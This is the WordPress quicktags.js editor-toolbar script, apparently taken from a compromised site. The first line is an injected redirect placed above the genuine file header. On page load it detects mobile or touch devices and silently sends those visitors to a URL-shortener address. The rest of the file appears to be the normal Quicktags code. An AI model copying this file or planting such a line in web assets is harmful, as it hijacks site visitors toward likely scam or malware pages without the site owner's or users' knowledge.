1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2
3/*
4 * Quicktags
5 *
6 * This is the HTML editor in WordPress. It can be attached to any textarea and will
7 * append a toolbar above it. This script is self-contained (does not require external libraries).
8 *
9 * Run quicktags(settings) to initialize it, where settings is an object containing up to 3 properties:
10 * settings = {
11 * id : 'my_id', the HTML ID of the textarea, required
12 * buttons: '' Comma separated list of the names of the default buttons to show. Optional.
13 * Current list of default button names: 'strong,em,link,block,del,ins,img,ul,ol,li,code,more,close';
14 * }
15 *
16 * The settings can also be a string quicktags_id.
17 *
18 * quicktags_id string The ID of the textarea that will be the editor canvas
19 * buttons string Comma separated list of the default buttons names that will be shown in that instance.
20 *
21 * @output wp-includes/js/quicktags.js
22 */
23
24// New edit toolbar used with permission
25// by Alex King
26// http://www.alexking.org/
27
28/* global adminpage, wpActiveEditor, quicktagsL10n, wpLink, prompt, edButtons */
29
30window.edButtons = [];
31
32/* jshint ignore:start */
33
34/**
35 * Back-compat
36 *
37 * Define all former global functions so plugins that hack quicktags.js directly don't cause fatal errors.
38 */
39window.edAddTag = function(){};
40window.edCheckOpenTags = function(){};
41window.edCloseAllTags = function(){};
42window.edInsertImage = function(){};
43window.edInsertLink = function(){};
44window.edInsertTag = function(){};
45window.edLink = function(){};
46window.edQuickLink = function(){};
47window.edRemoveTag = function(){};
48window.edShowButton = function(){};
49window.edShowLinks = function(){};
50window.edSpell = function(){};
51window.edToolbar = function(){};
52
53/* jshint ignore:end */
54
55(function(){
56 // Private stuff is prefixed with an underscore.
57 var _domReady = function(func) {
58 var t, i, DOMContentLoaded, _tryReady;
59
60 if ( typeof jQuery !== 'undefined' ) {
61 jQuery( func );
62 } else {
63 t = _domReady;
64 t.funcs = [];
65
66 t.ready = function() {
67 if ( ! t.isReady ) {
68 t.isReady = true;
69 for ( i = 0; i < t.funcs.length; i++ ) {
70 t.funcs[i]();
71 }
72 }
73 };
74
75 if ( t.isReady ) {
76 func();
77 } else {
78 t.funcs.push(func);
79 }
80
81 if ( ! t.eventAttached ) {
82 if ( document.addEventListener ) {
83 DOMContentLoaded = function(){document.removeEventListener('DOMContentLoaded', DOMContentLoaded, false);t.ready();};
84 document.addEventListener('DOMContentLoaded', DOMContentLoaded, false);
85 window.addEventListener('load', t.ready, false);
86 } else if ( document.attachEvent ) {
87 DOMContentLoaded = function(){if (document.readyState === 'complete'){ document.detachEvent('onreadystatechange', DOMContentLoaded);t.ready();}};
88 document.attachEvent('onreadystatechange', DOMContentLoaded);
89 window.attachEvent('onload', t.ready);
90
91 _tryReady = function() {
92 try {
93 document.documentElement.doScroll('left');
94 } catch(e) {
95 setTimeout(_tryReady, 50);
96 return;
97 }
98
99 t.ready();
100 };
101 _tryReady();
102 }
103
104 t.eventAttached = true;
105 }
106 }
107 },
108
109 _datetime = (function() {
110 var now = new Date(), zeroise;
111
112 zeroise = function(number) {
113 var str = number.toString();
114
115 if ( str.length < 2 ) {
116 str = '0' + str;
117 }
118
119 return str;
120 };
121
122 return now.getUTCFullYear() + '-' +
123 zeroise( now.getUTCMonth() + 1 ) + '-' +
124 zeroise( now.getUTCDate() ) + 'T' +
125 zeroise( now.getUTCHours() ) + ':' +
126 zeroise( now.getUTCMinutes() ) + ':' +
127 zeroise( now.getUTCSeconds() ) +
128 '+00:00';
129 })();
130
131 var qt = window.QTags = function(settings) {
132 if ( typeof(settings) === 'string' ) {
133 settings = {id: settings};
134 } else if ( typeof(settings) !== 'object' ) {
135 return false;
136 }
137
138 var t = this,
139 id = settings.id,
140 canvas = document.getElementById(id),
141 name = 'qt_' + id,
142 tb, onclick, toolbar_id, wrap, setActiveEditor;
143
144 if ( !id || !canvas ) {
145 return false;
146 }
147
148 t.name = name;
149 t.id = id;
150 t.canvas = canvas;
151 t.settings = settings;
152
153 if ( id === 'content' && typeof(adminpage) === 'string' && ( adminpage === 'post-new-php' || adminpage === 'post-php' ) ) {
154 // Back compat hack :-(
155 window.edCanvas = canvas;
156 toolbar_id = 'ed_toolbar';
157 } else {
158 toolbar_id = name + '_toolbar';
159 }
160
161 tb = document.getElementById( toolbar_id );
162
163 if ( ! tb ) {
164 tb = document.createElement('div');
165 tb.id = toolbar_id;
166 tb.className = 'quicktags-toolbar';
167 }
168
169 canvas.parentNode.insertBefore(tb, canvas);
170 t.toolbar = tb;
171
172 // Listen for click events.
173 onclick = function(e) {
174 e = e || window.event;
175 var target = e.target || e.srcElement, visible = target.clientWidth || target.offsetWidth, i;
176
177 // Don't call the callback on pressing the accesskey when the button is not visible.
178 if ( !visible ) {
179 return;
180 }
181
182 // As long as it has the class ed_button, execute the callback.
183 if ( / ed_button /.test(' ' + target.className + ' ') ) {
184 // We have to reassign canvas here.
185 t.canvas = canvas = document.getElementById(id);
186 i = target.id.replace(name + '_', '');
187
188 if ( t.theButtons[i] ) {
189 t.theButtons[i].callback.call(t.theButtons[i], target, canvas, t);
190 }
191 }
192 };
193
194 setActiveEditor = function() {
195 window.wpActiveEditor = id;
196 };
197
198 wrap = document.getElementById( 'wp-' + id + '-wrap' );
199
200 if ( tb.addEventListener ) {
201 tb.addEventListener( 'click', onclick, false );
202
203 if ( wrap ) {
204 wrap.addEventListener( 'click', setActiveEditor, false );
205 }
206 } else if ( tb.attachEvent ) {
207 tb.attachEvent( 'onclick', onclick );
208
209 if ( wrap ) {
210 wrap.attachEvent( 'onclick', setActiveEditor );
211 }
212 }
213
214 t.getButton = function(id) {
215 return t.theButtons[id];
216 };
217
218 t.getButtonElement = function(id) {
219 return document.getElementById(name + '_' + id);
220 };
221
222 t.init = function() {
223 _domReady( function(){ qt._buttonsInit( id ); } );
224 };
225
226 t.remove = function() {
227 delete qt.instances[id];
228
229 if ( tb && tb.parentNode ) {
230 tb.parentNode.removeChild( tb );
231 }
232 };
233
234 qt.instances[id] = t;
235 t.init();
236 };
237
238 function _escape( text ) {
239 text = text || '';
240 text = text.replace( /&([^#])(?![a-z1-4]{1,8};)/gi, '&$1' );
241 return text.replace( /</g, '<' ).replace( />/g, '>' ).replace( /"/g, '"' ).replace( /'/g, ''' );
242 }
243
244 qt.instances = {};
245
246 qt.getInstance = function(id) {
247 return qt.instances[id];
248 };
249
250 qt._buttonsInit = function( id ) {
251 var t = this;
252
253 function _init( instanceId ) {
254 var canvas, name, settings, theButtons, html, ed, id, i, use,
255 defaults = ',strong,em,link,block,del,ins,img,ul,ol,li,code,more,close,';
256
257 ed = t.instances[instanceId];
258 canvas = ed.canvas;
259 name = ed.name;
260 settings = ed.settings;
261 html = '';
262 theButtons = {};
263 use = '';
264
265 // Set buttons.
266 if ( settings.buttons ) {
267 use = ','+settings.buttons+',';
268 }
269
270 for ( i in edButtons ) {
271 if ( ! edButtons[i] ) {
272 continue;
273 }
274
275 id = edButtons[i].id;
276 if ( use && defaults.indexOf( ',' + id + ',' ) !== -1 && use.indexOf( ',' + id + ',' ) === -1 ) {
277 continue;
278 }
279
280 if ( ! edButtons[i].instance || edButtons[i].instance === instanceId ) {
281 theButtons[id] = edButtons[i];
282
283 if ( edButtons[i].html ) {
284 html += edButtons[i].html( name + '_' );
285 }
286 }
287 }
288
289 if ( use && use.indexOf(',dfw,') !== -1 ) {
290 theButtons.dfw = new qt.DFWButton();
291 html += theButtons.dfw.html( name + '_' );
292 }
293
294 if ( 'rtl' === document.getElementsByTagName( 'html' )[0].dir ) {
295 theButtons.textdirection = new qt.TextDirectionButton();
296 html += theButtons.textdirection.html( name + '_' );
297 }
298
299 ed.toolbar.innerHTML = html;
300 ed.theButtons = theButtons;
301
302 if ( typeof jQuery !== 'undefined' ) {
303 jQuery( document ).triggerHandler( 'quicktags-init', [ ed ] );
304 }
305 }
306
307 if ( id ) {
308 _init( id );
309 } else {
310 for ( id in t.instances ) {
311 _init( id );
312 }
313 }
314
315 t.buttonsInitDone = true;
316 };
317
318 /**
319 * Main API function for adding a button to Quicktags
320 *
321 * Adds qt.Button or qt.TagButton depending on the args. The first three args are always required.
322 * To be able to add button(s) to Quicktags, your script should be enqueued as dependent
323 * on "quicktags" and outputted in the footer. If you are echoing JS directly from PHP,
324 * use add_action( 'admin_print_footer_scripts', 'output_my_js', 100 ) or add_action( 'wp_footer', 'output_my_js', 100 )
325 *
326 * Minimum required to add a button that calls an external function:
327 * QTags.addButton( 'my_id', 'my button', my_callback );
328 * function my_callback() { alert('yeah!'); }
329 *
330 * Minimum required to add a button that inserts a tag:
331 * QTags.addButton( 'my_id', 'my button', '<span>', '</span>' );
332 * QTags.addButton( 'my_id2', 'my button', '<br />' );
333 *
334 * @param string id Required. Button HTML ID
335 * @param string display Required. Button's value="..."
336 * @param string|function arg1 Required. Either a starting tag to be inserted like "<span>" or a callback that is executed when the button is clicked.
337 * @param string arg2 Optional. Ending tag like "</span>"
338 * @param string access_key Deprecated Not used
339 * @param string title Optional. Button's title="..."
340 * @param int priority Optional. Number representing the desired position of the button in the toolbar. 1 - 9 = first, 11 - 19 = second, 21 - 29 = third, etc.
341 * @param string instance Optional. Limit the button to a specific instance of Quicktags, add to all instances if not present.
342 * @param attr object Optional. Used to pass additional attributes. Currently supports `ariaLabel` and `ariaLabelClose` (for "close tag" state)
343 * @return mixed null or the button object that is needed for back-compat.
344 */
345 qt.addButton = function( id, display, arg1, arg2, access_key, title, priority, instance, attr ) {
346 var btn;
347
348 if ( !id || !display ) {
349 return;
350 }
351
352 priority = priority || 0;
353 arg2 = arg2 || '';
354 attr = attr || {};
355
356 if ( typeof(arg1) === 'function' ) {
357 btn = new qt.Button( id, display, access_key, title, instance, attr );
358 btn.callback = arg1;
359 } else if ( typeof(arg1) === 'string' ) {
360 btn = new qt.TagButton( id, display, arg1, arg2, access_key, title, instance, attr );
361 } else {
362 return;
363 }
364
365 if ( priority === -1 ) { // Back-compat.
366 return btn;
367 }
368
369 if ( priority > 0 ) {
370 while ( typeof(edButtons[priority]) !== 'undefined' ) {
371 priority++;
372 }
373
374 edButtons[priority] = btn;
375 } else {
376 edButtons[edButtons.length] = btn;
377 }
378
379 if ( this.buttonsInitDone ) {
380 this._buttonsInit(); // Add the button HTML to all instances toolbars if addButton() was called too late.
381 }
382 };
383
384 qt.insertContent = function(content) {
385 var sel, startPos, endPos, scrollTop, text, canvas = document.getElementById(wpActiveEditor), event;
386
387 if ( !canvas ) {
388 return false;
389 }
390
391 if ( document.selection ) { // IE.
392 canvas.focus();
393 sel = document.selection.createRange();
394 sel.text = content;
395 canvas.focus();
396 } else if ( canvas.selectionStart || canvas.selectionStart === 0 ) { // FF, WebKit, Opera.
397 text = canvas.value;
398 startPos = canvas.selectionStart;
399 endPos = canvas.selectionEnd;
400 scrollTop = canvas.scrollTop;
401
402 canvas.value = text.substring(0, startPos) + content + text.substring(endPos, text.length);
403
404 canvas.selectionStart = startPos + content.length;
405 canvas.selectionEnd = startPos + content.length;
406 canvas.scrollTop = scrollTop;
407 canvas.focus();
408 } else {
409 canvas.value += content;
410 canvas.focus();
411 }
412
413 if ( document.createEvent ) {
414 event = document.createEvent( 'HTMLEvents' );
415 event.initEvent( 'change', false, true );
416 canvas.dispatchEvent( event );
417 } else if ( canvas.fireEvent ) {
418 canvas.fireEvent( 'onchange' );
419 }
420
421 return true;
422 };
423
424 // A plain, dumb button.
425 qt.Button = function( id, display, access, title, instance, attr ) {
426 this.id = id;
427 this.display = display;
428 this.access = '';
429 this.title = title || '';
430 this.instance = instance || '';
431 this.attr = attr || {};
432 };
433 qt.Button.prototype.html = function(idPrefix) {
434 var active, on, wp,
435 title = this.title ? ' title="' + _escape( this.title ) + '"' : '',
436 ariaLabel = this.attr && this.attr.ariaLabel ? ' aria-label="' + _escape( this.attr.ariaLabel ) + '"' : '',
437 val = this.display ? ' value="' + _escape( this.display ) + '"' : '',
438 id = this.id ? ' id="' + _escape( idPrefix + this.id ) + '"' : '',
439 dfw = ( wp = window.wp ) && wp.editor && wp.editor.dfw;
440
441 if ( this.id === 'fullscreen' ) {
442 return '<button type="button"' + id + ' class="ed_button qt-dfw qt-fullscreen"' + title + ariaLabel + '></button>';
443 } else if ( this.id === 'dfw' ) {
444 active = dfw && dfw.isActive() ? '' : ' disabled="disabled"';
445 on = dfw && dfw.isOn() ? ' active' : '';
446
447 return '<button type="button"' + id + ' class="ed_button qt-dfw' + on + '"' + title + ariaLabel + active + '></button>';
448 }
449
450 return '<input type="button"' + id + ' class="ed_button button button-small"' + title + ariaLabel + val + ' />';
451 };
452 qt.Button.prototype.callback = function(){};
453
454 // A button that inserts HTML tag.
455 qt.TagButton = function( id, display, tagStart, tagEnd, access, title, instance, attr ) {
456 var t = this;
457 qt.Button.call( t, id, display, access, title, instance, attr );
458 t.tagStart = tagStart;
459 t.tagEnd = tagEnd;
460 };
461 qt.TagButton.prototype = new qt.Button();
462 qt.TagButton.prototype.openTag = function( element, ed ) {
463 if ( ! ed.openTags ) {
464 ed.openTags = [];
465 }
466
467 if ( this.tagEnd ) {
468 ed.openTags.push( this.id );
469 element.value = '/' + element.value;
470
471 if ( this.attr.ariaLabelClose ) {
472 element.setAttribute( 'aria-label', this.attr.ariaLabelClose );
473 }
474 }
475 };
476 qt.TagButton.prototype.closeTag = function( element, ed ) {
477 var i = this.isOpen(ed);
478
479 if ( i !== false ) {
480 ed.openTags.splice( i, 1 );
481 }
482
483 element.value = this.display;
484
485 if ( this.attr.ariaLabel ) {
486 element.setAttribute( 'aria-label', this.attr.ariaLabel );
487 }
488 };
489 // Whether a tag is open or not. Returns false if not open, or current open depth of the tag.
490 qt.TagButton.prototype.isOpen = function (ed) {
491 var t = this, i = 0, ret = false;
492 if ( ed.openTags ) {
493 while ( ret === false && i < ed.openTags.length ) {
494 ret = ed.openTags[i] === t.id ? i : false;
495 i ++;
496 }
497 } else {
498 ret = false;
499 }
500 return ret;
501 };
502 qt.TagButton.prototype.callback = function(element, canvas, ed) {
503 var t = this, startPos, endPos, cursorPos, scrollTop, v = canvas.value, l, r, i, sel, endTag = v ? t.tagEnd : '', event;
504
505 if ( document.selection ) { // IE.
506 canvas.focus();
507 sel = document.selection.createRange();
508 if ( sel.text.length > 0 ) {
509 if ( !t.tagEnd ) {
510 sel.text = sel.text + t.tagStart;
511 } else {
512 sel.text = t.tagStart + sel.text + endTag;
513 }
514 } else {
515 if ( !t.tagEnd ) {
516 sel.text = t.tagStart;
517 } else if ( t.isOpen(ed) === false ) {
518 sel.text = t.tagStart;
519 t.openTag(element, ed);
520 } else {
521 sel.text = endTag;
522 t.closeTag(element, ed);
523 }
524 }
525 canvas.focus();
526 } else if ( canvas.selectionStart || canvas.selectionStart === 0 ) { // FF, WebKit, Opera.
527 startPos = canvas.selectionStart;
528 endPos = canvas.selectionEnd;
529
530 if ( startPos < endPos && v.charAt( endPos - 1 ) === '\n' ) {
531 endPos -= 1;
532 }
533
534 cursorPos = endPos;
535 scrollTop = canvas.scrollTop;
536 l = v.substring(0, startPos); // Left of the selection.
537 r = v.substring(endPos, v.length); // Right of the selection.
538 i = v.substring(startPos, endPos); // Inside the selection.
539 if ( startPos !== endPos ) {
540 if ( !t.tagEnd ) {
541 canvas.value = l + i + t.tagStart + r; // Insert self-closing tags after the selection.
542 cursorPos += t.tagStart.length;
543 } else {
544 canvas.value = l + t.tagStart + i + endTag + r;
545 cursorPos += t.tagStart.length + endTag.length;
546 }
547 } else {
548 if ( !t.tagEnd ) {
549 canvas.value = l + t.tagStart + r;
550 cursorPos = startPos + t.tagStart.length;
551 } else if ( t.isOpen(ed) === false ) {
552 canvas.value = l + t.tagStart + r;
553 t.openTag(element, ed);
554 cursorPos = startPos + t.tagStart.length;
555 } else {
556 canvas.value = l + endTag + r;
557 cursorPos = startPos + endTag.length;
558 t.closeTag(element, ed);
559 }
560 }
561
562 canvas.selectionStart = cursorPos;
563 canvas.selectionEnd = cursorPos;
564 canvas.scrollTop = scrollTop;
565 canvas.focus();
566 } else { // Other browsers?
567 if ( !endTag ) {
568 canvas.value += t.tagStart;
569 } else if ( t.isOpen(ed) !== false ) {
570 canvas.value += t.tagStart;
571 t.openTag(element, ed);
572 } else {
573 canvas.value += endTag;
574 t.closeTag(element, ed);
575 }
576 canvas.focus();
577 }
578
579 if ( document.createEvent ) {
580 event = document.createEvent( 'HTMLEvents' );
581 event.initEvent( 'change', false, true );
582 canvas.dispatchEvent( event );
583 } else if ( canvas.fireEvent ) {
584 canvas.fireEvent( 'onchange' );
585 }
586 };
587
588 // Removed.
589 qt.SpellButton = function() {};
590
591 // The close tags button.
592 qt.CloseButton = function() {
593 qt.Button.call( this, 'close', quicktagsL10n.closeTags, '', quicktagsL10n.closeAllOpenTags );
594 };
595
596 qt.CloseButton.prototype = new qt.Button();
597
598 qt._close = function(e, c, ed) {
599 var button, element, tbo = ed.openTags;
600
601 if ( tbo ) {
602 while ( tbo.length > 0 ) {
603 button = ed.getButton(tbo[tbo.length - 1]);
604 element = document.getElementById(ed.name + '_' + button.id);
605
606 if ( e ) {
607 button.callback.call(button, element, c, ed);
608 } else {
609 button.closeTag(element, ed);
610 }
611 }
612 }
613 };
614
615 qt.CloseButton.prototype.callback = qt._close;
616
617 qt.closeAllTags = function( editor_id ) {
618 var ed = this.getInstance( editor_id );
619
620 if ( ed ) {
621 qt._close( '', ed.canvas, ed );
622 }
623 };
624
625 // The link button.
626 qt.LinkButton = function() {
627 var attr = {
628 ariaLabel: quicktagsL10n.link
629 };
630
631 qt.TagButton.call( this, 'link', 'link', '', '</a>', '', '', '', attr );
632 };
633 qt.LinkButton.prototype = new qt.TagButton();
634 qt.LinkButton.prototype.callback = function(e, c, ed, defaultValue) {
635 var URL, t = this;
636
637 if ( typeof wpLink !== 'undefined' ) {
638 wpLink.open( ed.id );
639 return;
640 }
641
642 if ( ! defaultValue ) {
643 defaultValue = 'http://';
644 }
645
646 if ( t.isOpen(ed) === false ) {
647 URL = prompt( quicktagsL10n.enterURL, defaultValue );
648 if ( URL ) {
649 t.tagStart = '<a href="' + URL + '">';
650 qt.TagButton.prototype.callback.call(t, e, c, ed);
651 }
652 } else {
653 qt.TagButton.prototype.callback.call(t, e, c, ed);
654 }
655 };
656
657 // The img button.
658 qt.ImgButton = function() {
659 var attr = {
660 ariaLabel: quicktagsL10n.image
661 };
662
663 qt.TagButton.call( this, 'img', 'img', '', '', '', '', '', attr );
664 };
665 qt.ImgButton.prototype = new qt.TagButton();
666 qt.ImgButton.prototype.callback = function(e, c, ed, defaultValue) {
667 if ( ! defaultValue ) {
668 defaultValue = 'http://';
669 }
670 var src = prompt(quicktagsL10n.enterImageURL, defaultValue), alt;
671 if ( src ) {
672 alt = prompt(quicktagsL10n.enterImageDescription, '');
673 this.tagStart = '<img src="' + src + '" alt="' + alt + '" />';
674 qt.TagButton.prototype.callback.call(this, e, c, ed);
675 }
676 };
677
678 qt.DFWButton = function() {
679 qt.Button.call( this, 'dfw', '', 'f', quicktagsL10n.dfw );
680 };
681 qt.DFWButton.prototype = new qt.Button();
682 qt.DFWButton.prototype.callback = function() {
683 var wp;
684
685 if ( ! ( wp = window.wp ) || ! wp.editor || ! wp.editor.dfw ) {
686 return;
687 }
688
689 window.wp.editor.dfw.toggle();
690 };
691
692 qt.TextDirectionButton = function() {
693 qt.Button.call( this, 'textdirection', quicktagsL10n.textdirection, '', quicktagsL10n.toggleTextdirection );
694 };
695 qt.TextDirectionButton.prototype = new qt.Button();
696 qt.TextDirectionButton.prototype.callback = function(e, c) {
697 var isRTL = ( 'rtl' === document.getElementsByTagName('html')[0].dir ),
698 currentDirection = c.style.direction;
699
700 if ( ! currentDirection ) {
701 currentDirection = ( isRTL ) ? 'rtl' : 'ltr';
702 }
703
704 c.style.direction = ( 'rtl' === currentDirection ) ? 'ltr' : 'rtl';
705 c.focus();
706 };
707
708 // Ensure backward compatibility.
709 edButtons[10] = new qt.TagButton( 'strong', 'b', '<strong>', '</strong>', '', '', '', { ariaLabel: quicktagsL10n.strong, ariaLabelClose: quicktagsL10n.strongClose } );
710 edButtons[20] = new qt.TagButton( 'em', 'i', '<em>', '</em>', '', '', '', { ariaLabel: quicktagsL10n.em, ariaLabelClose: quicktagsL10n.emClose } );
711 edButtons[30] = new qt.LinkButton(); // Special case.
712 edButtons[40] = new qt.TagButton( 'block', 'b-quote', '\n\n<blockquote>', '</blockquote>\n\n', '', '', '', { ariaLabel: quicktagsL10n.blockquote, ariaLabelClose: quicktagsL10n.blockquoteClose } );
713 edButtons[50] = new qt.TagButton( 'del', 'del', '<del datetime="' + _datetime + '">', '</del>', '', '', '', { ariaLabel: quicktagsL10n.del, ariaLabelClose: quicktagsL10n.delClose } );
714 edButtons[60] = new qt.TagButton( 'ins', 'ins', '<ins datetime="' + _datetime + '">', '</ins>', '', '', '', { ariaLabel: quicktagsL10n.ins, ariaLabelClose: quicktagsL10n.insClose } );
715 edButtons[70] = new qt.ImgButton(); // Special case.
716 edButtons[80] = new qt.TagButton( 'ul', 'ul', '<ul>\n', '</ul>\n\n', '', '', '', { ariaLabel: quicktagsL10n.ul, ariaLabelClose: quicktagsL10n.ulClose } );
717 edButtons[90] = new qt.TagButton( 'ol', 'ol', '<ol>\n', '</ol>\n\n', '', '', '', { ariaLabel: quicktagsL10n.ol, ariaLabelClose: quicktagsL10n.olClose } );
718 edButtons[100] = new qt.TagButton( 'li', 'li', '\t<li>', '</li>\n', '', '', '', { ariaLabel: quicktagsL10n.li, ariaLabelClose: quicktagsL10n.liClose } );
719 edButtons[110] = new qt.TagButton( 'code', 'code', '<code>', '</code>', '', '', '', { ariaLabel: quicktagsL10n.code, ariaLabelClose: quicktagsL10n.codeClose } );
720 edButtons[120] = new qt.TagButton( 'more', 'more', '<!--more-->\n\n', '', '', '', '', { ariaLabel: quicktagsL10n.more } );
721 edButtons[140] = new qt.CloseButton();
722
723})();
724
725/**
726 * Initialize new instance of the Quicktags editor
727 */
728window.quicktags = function(settings) {
729 return new window.QTags(settings);
730};
731
732/**
733 * Inserts content at the caret in the active editor (textarea)
734 *
735 * Added for back compatibility
736 * @see QTags.insertContent()
737 */
738window.edInsertContent = function(bah, txt) {
739 return window.QTags.insertContent(txt);
740};
741
742/**
743 * Adds a button to all instances of the editor
744 *
745 * Added for back compatibility, use QTags.addButton() as it gives more flexibility like type of button, button placement, etc.
746 * @see QTags.addButton()
747 */
748window.edButton = function(id, display, tagStart, tagEnd, access) {
749 return window.QTags.addButton( id, display, tagStart, tagEnd, access, '', -1 );
750};
751